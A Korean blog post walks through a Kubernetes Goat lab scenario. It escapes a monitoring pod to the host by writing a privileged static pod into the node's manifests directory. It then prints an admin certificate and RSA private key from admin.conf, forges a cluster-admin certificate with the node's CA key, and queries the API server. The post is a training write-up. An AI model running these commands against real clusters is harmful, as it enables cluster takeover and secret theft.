이번 포스팅은 4번째인 Container escape to the host system입니다

대부분의 모니터링, 추적, 디버깅 소프트웨어는 추가적인 권한을 가지고 실행된다.
이 시나리오에서는 과도한 권한과 능력을 가진 Pod을 이용해 호스트 시스템에 접근하고, Node 수준의 설정을 변경하여 최종적으로 전체 클러스터 장악으로 이어지는 과정을 살펴본다.

들어가면 쉘과 함께 system-monitor-deployment-계정으로 접속이 되어 있습니다.

일단 쉘에 host-system이 있는걸 확인했고, 들어가보니 노드의 파일시스템 일부가 Pod으로 연결된 상태입니다.
K8s에서는 Pod maniffest에 hostPath 볼륨을 설정하면, 노드의 실제 경로를 컨테이너 내부 경로에 마운트 할 수 있습니다.

host-system/var/lib/kubelet에서 confiog를 읽어보았습니다.

아래쪽에 보면 staticPodPath 옵션이 눈에 띕니다.
kubelet이 노드의 /etc/kubernetes/manifest 디렉토리를 계속 감시하고, 여기에 Pod YAML을 만들면 kubectl apply 명령없이도 kubelet이 직접 Pod을 띄운다는 의미입니다.
저희는 host-system을 보고 있으니 /host-system/etc/kubernetes/manifests에 악성 파일을 만들면 될 것 같습니다.

또 여기 윗부분 보면 kubelet API에 아무나 접근 못하게끔 인증을 걸어뒀기에 전에 썻던 방법처럼 api를 직접 curl로 요청하는 것보단 hostPath로 파일 시스템에 써야 합니다.

여기 /etc/k8s/manifests에 들어왔습니다. 이제 여기서 파일이 만들어지는지 확인해보겠습니다.

test가 잘 써지는걸 확인했습니다.
이제 여기다가 Pod을 하나 만들겠습니다.
cat > /host-system/etc/kubernetes/manifests/privileged-pod.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata:
name: privileged-static-pod
namespace: kube-system
spec:
hostPID: true
hostNetwork: true
containers:
- name: privileged-container
image: nginx
securityContext:
privileged: true
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
type: Directory
EOF
다음 명령어로 privileged: true인 pod을 하나 생성해줬습니다.

경로를 쭉 따라가보면 pod도 잘 생성된 걸 확인할 수 있습니다.
일단 목표는 클러스터 장악이랬으니 /etc쪽을 더 찾아보면
/etc/kubernetes에 admin.conf가 확인 가능하고

읽어보면 키 값이 나옵니다.
kubernetes-admin 계정의 클라이언트 인증서와 개인키를 얻은 상태입니다.
정보를 디코딩한 결과입니다.
-----BEGIN CERTIFICATE-----
MIIDBTCCAe2gAwIBAgIIEyMKsL6ahuAwDQYJKoZIhvcNAQELBQAwFTETMBEGA1UE
AxMKa3ViZXJuZXRlczAeFw0yNjA2MTYwOTE3NDhaFw0zNjA2MTMwOTIyNDhaMBUx
EzARBgNVBAMTCmt1YmVybmV0ZXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQC8g9sMMhv9wOWHVh30ZDT9ZICGssEZYnKsrzxDrHfi3HLZUVIGLxQYtJLU
746pdrf1zA8AAoJ50DOp+la3fjes2ckxFx7eduDH4xQXHDgq+Y7yn+nKn6U9FMI4
zODmI8tM5kIAfnqkLnvubrtPJUWi8CbGz6SHdjD9yyUCdVppqoLX2LVarwlg7rW8
hR/DeCFNxtSJIbYRvL6johYnhkGLiAd2dBJzjsg44FTJX+LPzofylWKE+i/eKvpB
Cxe2RqgixYyTuAvgJp1JR3iV08omx89VvMIGOF/rL1eQ+PrghpUm44/h4m9hhupy
o+htAb5DKzAmHc/mPFIcQb4qKPoXAgMBAAGjWTBXMA4GA1UdDwEB/wQEAwICpDAP
BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRHMFE6JfezT5/PtCQ/93pA+VW6gDAV
BgNVHREEDjAMggprdWJlcm5ldGVzMA0GCSqGSIb3DQEBCwUAA4IBAQAa67fzCBi4
QYDy4jHihdFGIFbgqgTm8lI8MWNhhYDR0H6hxOdN3KOuM27mMJJm4cL7IH5Sw+VW
4A2lm5E/EQZhkoWTkJPWDop/KMsQXB96xlm8dNT2eO9JWHNc0EIRy7CFkkj6PQsw
uX14ANomk4ZPa2BKiFaEpWC/Iebp8GAn4GtpT+9kNINKn2wXGaF1f1iqDwj4w3qW
7Z2qNt9b5bbzpFzhH+RnTH44+np4tg2PFFyR0q8ZmrXC3oc/fThUl3t/PnurEAgT
JBinsPNnAuUv/mWTEFcmd3e+dKiZoQLP2/shU3dFMeVfUN1tkz3KOGcnn1NqW87+
ObKeajU/TDeY
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDKTCCAhGgAwIBAgIIb40oPkerjU4wDQYJKoZIhvcNAQELBQAwFTETMBEGA1UE
AxMKa3ViZXJuZXRlczAeFw0yNjA2MTYwOTE3NDhaFw0yNzA2MTYwOTIyNTBaMDwx
HzAdBgNVBAoTFmt1YmVhZG06Y2x1c3Rlci1hZG1pbnMxGTAXBgNVBAMTEGt1YmVy
bmV0ZXMtYWRtaW4wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDf6VJb
Kmefh4v6f06A/+FU0g03rHCIHsillBotbtmRMQNO30cwYTjqMmNjaaBlFx5mNc0l
6xi4Ivjuc2zXKOMFI96BA4Qq0FYwiid8slTSgnihwifYFHOaUiy6YTg1RLuOKrO8
oEnctwiehlM9zj5dDl2Q7QKQzzk4ELUN0SfJbiAT7M8H3jHfNW8E9ZJcNEeHwqrA
fH2O3Y93ypT7EdxBhOmQZysyhuXaDRUr8+Mn4+4Uv+OMeQSNSmVDIpR3TTmtTgyi
oUgE6QaHHtFWjKqkMZnx/iVfsWmDSaq70gR9V/N+EXupF1rYjppcVO7N/g9/vPlM
prooptOIeF55L1vVAgMBAAGjVjBUMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUEDDAK
BggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB8GA1UdIwQYMBaAFEcwUTol97NPn8+0
JD/3ekD5VbqAMA0GCSqGSIb3DQEBCwUAA4IBAQBHpwtyVKluvNXv7DUZKv3srIej
ZKRznuNEKdU6KvyoH6n9MNpEjMwq04qDNs4kTKcY1Ir84LgFOQQaEey++6mQ9CB6
boDzQLERbOH0v3jc8ISe+ZHJ8aFCntQEwvrfqdccOZwCcqE9cp3TO7iKaYtXJkvJ
E2/sXeE78mq1W5WOlS/bN0pkxtx3CAeYk/tZlylMbGA4OVK4JxGUAw8rq83cAqol
Azg9okrnQ8fIeaKtKkAlKCNgZBOdVR9axy0b4pMMQehytnfVWnSaqtp+w0/LRu0H
RDIA8hN9uPjEsg/z6FFJizVvhJT1VFaFylzFnZD1sq8fBMgjhe4/C4gyX0Or
-----END CERTIFICATE-----
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA3+lSWypnn4eL+n9OgP/hVNINN6xwiB7IpZQaLW7ZkTEDTt9H
MGE46jJjY2mgZRceZjXNJesYuCL47nNs1yjjBSPegQOEKtBWMIonfLJU0oJ4ocIn
2BRzmlIsumE4NUS7jiqzvKBJ3LcInoZTPc4+XQ5dkO0CkM85OBC1DdEnyW4gE+zP
B94x3zVvBPWSXDRHh8KqwHx9jt2Pd8qU+xHcQYTpkGcrMobl2g0VK/PjJ+PuFL/j
jHkEjUplQyKUd005rU4MoqFIBOkGhx7RVoyqpDGZ8f4lX7Fpg0mqu9IEfVfzfhF7
qRda2I6aXFTuzf4Pf7z5TKa6KKbTiHheeS9b1QIDAQABAoIBAQC+/wi4KTjRFM9r
cvKlCR/NuYt6xQYMpq2ix+14ecjul69ptP3Fn/jrlOXApBYkhQ7yQsxmnt6sG3DZ
/e2GryLPfKRMypIP7zzGFOLP9FJ0asS5vqM8J13g8l2i8lD+501RXM2KhfPbaOna
R1x0KRx7Rki72eBJY+o8D8xRJ+tXXpb0MHhjtOKZJVhDANinoMXDQ951fPuyLAgA
C6Z5JpWJo06L/lVmZk62+HWh06c2xle/Q9tiw+p1/yts6kIxllXfllfH7D/Ei+5U
aKWYZYtfUsRm64kDc7yqAkqIlOXFVWR6MK9O9yJhhsJhdPKCDtt57G0/tBXVmnJR
FRqV1gfVAoGBAOT74jcwjjPZQF5hB1+UXckz3/t+VmbPpiWzjnrpFGe5TSJSIzyt
34UAXyvo2kRYWV1OFa1VfWxARwWhJy4YEvzawJXRHI2y5IQPmp9QMeZw8IiYQZhR
5r/+05Gs8xtCnzCR6EFiT/AbtWFFgJudu7IsbIWtquHyGb8mh6ZTjHk/AoGBAPpU
OwWUfmcXi/+1eAsTTJfoZoHhP1tfXfrQF6N6v0vgIhbvvAThYyCDezJTElNDVkao
AzC6/ZquuFkUTE2OoEN9iShozoHfHRnzV6gSRiRbtSWMBKhsvcL3UjBKLj8yWGdD
kQoaa9eFnuxwWGFQ2U/DK5BpLxShSRlwus7bOTHrAoGAdX65yM/lZ71mRgdLnUOo
DAHOQGHHO+H4wweraG4IxmBSr/Wtlwkw1DIoo4NL3B3pXPMgNFzViqJAzyatz/0S
YSRuBXHTUPImR40qLe0cbb4t7ikSH3KHEKVVMj6oT6iTvnxfzI0Br5bILy1WnIMH
OJmK5d0C/gUYKPlASZw9TEkCgYBSd2kyP2cc4z71sHypeWQkLyWF6ASNP2+gbuk6
q/dVMbNJRxTzrqSPU4FEZOWGlIpZoIPci918Fc8ZWXyBmFjnovWKYGyXkD7wC6B2
9/4vgB6/Dc+DBL/G+N8UlXuCyj0hV7ryTx3z1Es0rRYQiSfuBOfXHS+rZi7EuMRx
3PqMnQKBgHXt74al8OCnJ/Q3y8mo7jkbl0O9j/JCDH/6y5mUJXlWOZWUTQmZVdg8
WpdsDNuTD0W+45BDl1qWK6v2GGRAbXYL9q/EYkcfdD/SXEe5MndanCC9EaeigBiF
FZA3j6JiWfV+Yz94CGsMCUD24GpDZiXXrP6CJ0sa6bYYwsIHR9vq
-----END RSA PRIVATE KEY-----
일단 제가 뭐를 잘못해서 admin.conf가 내용이 일부 지워져서 CA키로 인증서를 다시 다 받았습니다/
mkdir -p /tmp/k8s
openssl genrsa -out /tmp/k8s/admin.key 2048
openssl req -new \
-key /tmp/k8s/admin.key \
-out /tmp/k8s/admin.csr \
-subj "/CN=kubernetes-admin/O=system:masters"
openssl x509 -req \
-in /tmp/k8s/admin.csr \
-CA /host-system/etc/kubernetes/pki/ca.crt \
-CAkey /host-system/etc/kubernetes/pki/ca.key \
-CAcreateserial \
-out /tmp/k8s/admin.crt \
-days 365
그 이후 해당 인증서로 API서버를 호출했습니다.
APISERVER=https://kubernetes.default.svc:443
curl --cacert /host-system/etc/kubernetes/pki/ca.crt \
--cert /tmp/k8s/admin.crt \
--key /tmp/k8s/admin.key \
$APISERVER/api/v1/namespaces

출력이 정상적으로 됐으니, 컨테이너 내부에서 탈취한 admin 인증서로 k8s api 서버에 접근을 확인할 수 있습니다.

시크릿 값도 조회가 가능합니다.
문제가 flag 형식으로 나오는 경우도 있고 아닌 경우도 있어서 더 볼게 있는지 잘 모르겠네요.
일단 목표는 달성한 듯 합니다.
과한 권한을 가진 모니터링 Pod에서 노드 파일 시스템을 장악하고, 노드 파일 시스템에 있는 CA를 통해 클러스터 API를 장악까지 해봤습니다.
읽어주셔서 감사합니다
'취약점분석 (Blue Team) > Cloud' 카테고리의 다른 글
| [k8s-goat] 7. Attacking private registry (0) | 2026.06.25 |
|---|---|
| [k8s-goat] 6.Kubernetes CIS benchmarks analysis (0) | 2026.06.25 |
| [k8s-goat] 3.SSRF in the Kubernetes (K8S) world (0) | 2026.06.23 |
| [k8s-goat] 1.Sensitive keys in codebases (0) | 2026.06.23 |
| [Cloud] K8s Resource Manifests (0) | 2026.06.23 |